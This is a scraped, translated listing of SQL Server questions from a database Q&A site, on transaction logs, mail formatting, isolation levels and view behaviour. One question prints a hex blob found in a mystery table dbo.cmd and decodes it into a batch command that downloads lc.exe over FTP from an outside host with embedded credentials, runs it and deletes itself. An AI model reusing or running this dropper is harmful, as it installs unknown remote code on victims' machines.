标签: sql-server

事务日志查询

我使用这些查询从 SQL Server 数据库访问事务

Use Action
Go
Select * from fn_dblog(null,null)
Run Code Online (Sandbox Code Playgroud)

此查询有效,但当数据库中的一个表包含超过 100,000 条记录时仅加载 7 行 接下来我使用此查询来恢复历史记录

SELECT  * FROM fn_dump_dblog(NULL,NULL,'DISK',1
,'D:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\Backup\Action.bak'
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,   NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,   NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,   NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,   NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,   NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL)
Run Code Online (Sandbox Code Playgroud)

这个查询没有错误,但只恢复了 37 行。如果我恢复备份,一张表中有超过 100,000 条记录。当我运行这些查询时,我希望看到数百或数千行。

唯一合乎逻辑的答案是文件中的事务是有限的。但事务日志的文件大小为 1.5 GB。我可以运行任何命令来检查日志文件中的事务数吗?

谁能解释我如何使这些查询工作以恢复事务日志中的每个事务?

sql-server transaction-log

1
推荐指数
1
解决办法
623
查看次数

从 Windows 迁移到 Linux

我计划将 SQL Server 2008 标准版迁移到 Linux 服务器实例。我对这个实例有两个问题:

  1. 如何激活这个实例?
  2. 如何在单一模式下运行实例来恢复所有数据库(使用 master)?

sql-server-2008 sql-server linux

1
推荐指数
1
解决办法
278
查看次数

新数据库,它已经有一个表`dbo.cmd`

我正在使用 SQL Server 2014 中的 UI 创建一个新数据库,当我打开表时,它已经有一个表dbo.cmd

CREATE TABLE [dbo].[cmd](
    [a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
Run Code Online (Sandbox Code Playgroud)

它还插入了一行:

0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974
Run Code Online (Sandbox Code Playgroud)

我尝试将其转换为字符串,结果如下:

@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)

在关注这个之后,我发现它是一个 bash 脚本,我尝试执行 bash 脚本,我的文件lc.exe夹中有一个文件%systemroot%/Help/lc.exe,但我还没有执行脚本中的最后一个命令:

lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)

这是什么?我试过搜索这个,但找不到任何东西。我不知道这里发生了什么,我该如何解决这个问题?

sql-server sql-server-2014

1
推荐指数
1
解决办法
248
查看次数

按日期和用户获取表中的最新记录

我有一张如下表:

SELECT [EffectiveDate]
      ,[Rate]
      [ModUser]
      FROM [Vision]
Run Code Online (Sandbox Code Playgroud)

有很多行带有 ModUsers 名称。我需要提供 ModUsers 名称并获取最新费率。

我怎么做?

sql-server greatest-n-per-group

1
推荐指数
1
解决办法
5416
查看次数

数据库备份压缩

我试图查看我的所有备份是否已压缩。我运行下面的查询来检查但没有得到好的结果:

select top(10) database_name, 
case when  backup_size = compressed_backup_size then 'Compressed'
else 'Not compressed'
end as Compression, 
backup_finish_date
from msdb.dbo.backupset
where database_name ='MyDAtabase'
order by backup_start_date desc
Run Code Online (Sandbox Code Playgroud)

我在用:

Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64)
2012 年 6 月 28 日 08:36:30 版权所有 (c)
Windows NT 6.1(内部版本 7601:Service Pack 1)上的Microsoft Corporation标准版(64 位)

默认情况下,我们设置了压缩,但是一旦我运行该查询,我得到的结果数据库没有被压缩。

sql-server-2008 sql-server backup compression

1
推荐指数
1
解决办法
97
查看次数

sp_send_dbmail 在结果集中的所有字符之间填充 00 位

我在每晚触发的 SQL 代理作业中使用 sp_send_dbmail。该作业查询我们的数据库并检查产品价格更新,如果有,它将通过电子邮件作为附件发送给我们的电子商务供应商。他们有一些自动流程,他们会更新我们的电子商务平台,但是他们的自动流程无法处理 sp_send_dbmail 提供的文件。sp_send_dbmail 似乎在结果集中的所有字符之间放置了空字符。

查看在十六进制编辑器中打开 csv 的结果:

十六进制捕捉

通过文本编辑器查看我看到的预期:

文字捕捉

sp_send_dbmail 在这里查询:

    SET @FileName = 'Update_' + CONVERT(VARCHAR(12),GETDATE),105) '.csv'        
    SET @Query = 'Some Query'

    EXEC msdb.dbo.sp_send_dbmail
        @recipients = 'me@domain.com'
        @query = @Query
        @attach_query_result_as_file = 1
        @query_attachment_filename = @FileName
        @query_result_separator = ','
        @query_result_no_padding =  1
    END
Run Code Online (Sandbox Code Playgroud)

这里发生了什么?

****编辑补充说明****

使用 Microsoft SQL Server 2008 R2 排序规则为 Latin1_General_CI_AS

离开 no_padding 会在每个返回的字段中留下几个尾随空格。每个空格 (20) 由​​空值 (00) 分隔

NoPadCapture

sql-server t-sql database-mail encoding unicode

1
推荐指数
1
解决办法
692
查看次数

将最大服务器内存设置为高于操作系统可用内存

我有一台服务器,它被重新用于 SQL Server。它带有比我的操作系统 (Windows Server 2008 R2) 可以看到的 32GB 更多的物理内存。

管理层希望我将 SQL (SQL Server 2008 R2 Service Pack 3) 使用的最大服务器内存配置为高于操作系统所看到的。我可以通过 SQL Server Management Studio 在 SQL Server 的属性中更改它。SQL Server 能否使用额外的 RAM?还是会耗尽操作系统可用的所有内存?

sql-server memory sql-server-2008-r2

1
推荐指数
1
解决办法
1171
查看次数

T-SQL 替换结果中的 NULL 值

我对此不知所措。实现这一目标的简单方法是什么?

我有这样的“客户”表:

USER_ID| NAME    | J_ID   |K_ID    |Y_ID
-----------------------------------------
    1  |  CUST1  |  A     |  1     |  AB
    2  |  CUST2  |  B     |  2     |  NULL
    3  |  CUST3  |  C     |  3     |  EF
    4  |  CUST4  |  NULL  |  NULL  |  GH
    5  |  CUST5  |  E     |  5     |  IJ
Run Code Online (Sandbox Code Playgroud)

然后像这样的“R_ID”表:

   R_ID  | Y_ID    
------------------
    1A9  |  AB  
    2B8  |  CD  
    3C7  |  EF  
    4D6  |  GH  
    5E5  |  IJ  
Run Code Online (Sandbox Code Playgroud)

然后像这样的“JK_ID”表:

   R_ID  | J_ID | K_ID …
Run Code Online (Sandbox Code Playgroud)

sql-server t-sql

1
推荐指数
1
解决办法
370
查看次数

SQL Server 上的脏读

  1. SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED 位于“BEGIN”的不同部分。以下两个查询的行为是否相同?

  2. 视图 viewOne 和 viewTwo 会继承脏读吗?或者视图需要有一个明确的“NOLOCK”

查询 1

set transaction isolation level read uncommitted
begin    
    select col1 from viewOne
    select * from viewTwo
    select * from table1
end
Run Code Online (Sandbox Code Playgroud)

查询 2

begin    
    set transaction isolation level read uncommitted
    select col1 from viewOne
    select * from viewTwo
    select * from table1     
end
Run Code Online (Sandbox Code Playgroud)

performance sql-server transaction isolation-level query-performance

1
推荐指数
1
解决办法
900
查看次数

为什么向视图添加列会损坏表值函数?

我有一个 TVPmyTVP实现为select val.* from vw_MyView val. 前几天,我修改了vw_MyView,将: 替换
select Foo,Bar from DB
select Foo, Bash, Bar from DB

这有一个奇怪的副作用:调用select Bar from myTVP()返回一个名为Bar填充了内容的列Bash(尽管事实上BarBash甚至没有相同的类型)。

展示问题的匿名计划:https://www.brentozar.com/pastetheplan/?id=ryJLJmqdl

请注意,Object2Object1是相同的,但两个计划之间最左侧嵌套循环的输出列表完全不同。

笔记:

  • 使用中没有计划提示。未设置跟踪标志。
  • CheckDB 没有发现错误。
  • 使用选项(重新编译)并没有解决问题。
  • 在 TVP 上运行右键单击 alter 且不进行任何更改修复了该问题。
  • 在名称更改的 TVP 上运行右键单击 alter 修复了该问题,但新的 TVP 除名称外与之前的相同。
  • 使用SQL 2014标准版。

问题:

  1. 向视图添加新列以更改对该视图的其他引用所使用的视图列是否正常?
  2. 在什么情况下向视图添加列会导致这种行为?

sql-server view sql-server-2014 set-returning-functions

1
推荐指数
1
解决办法
387
查看次数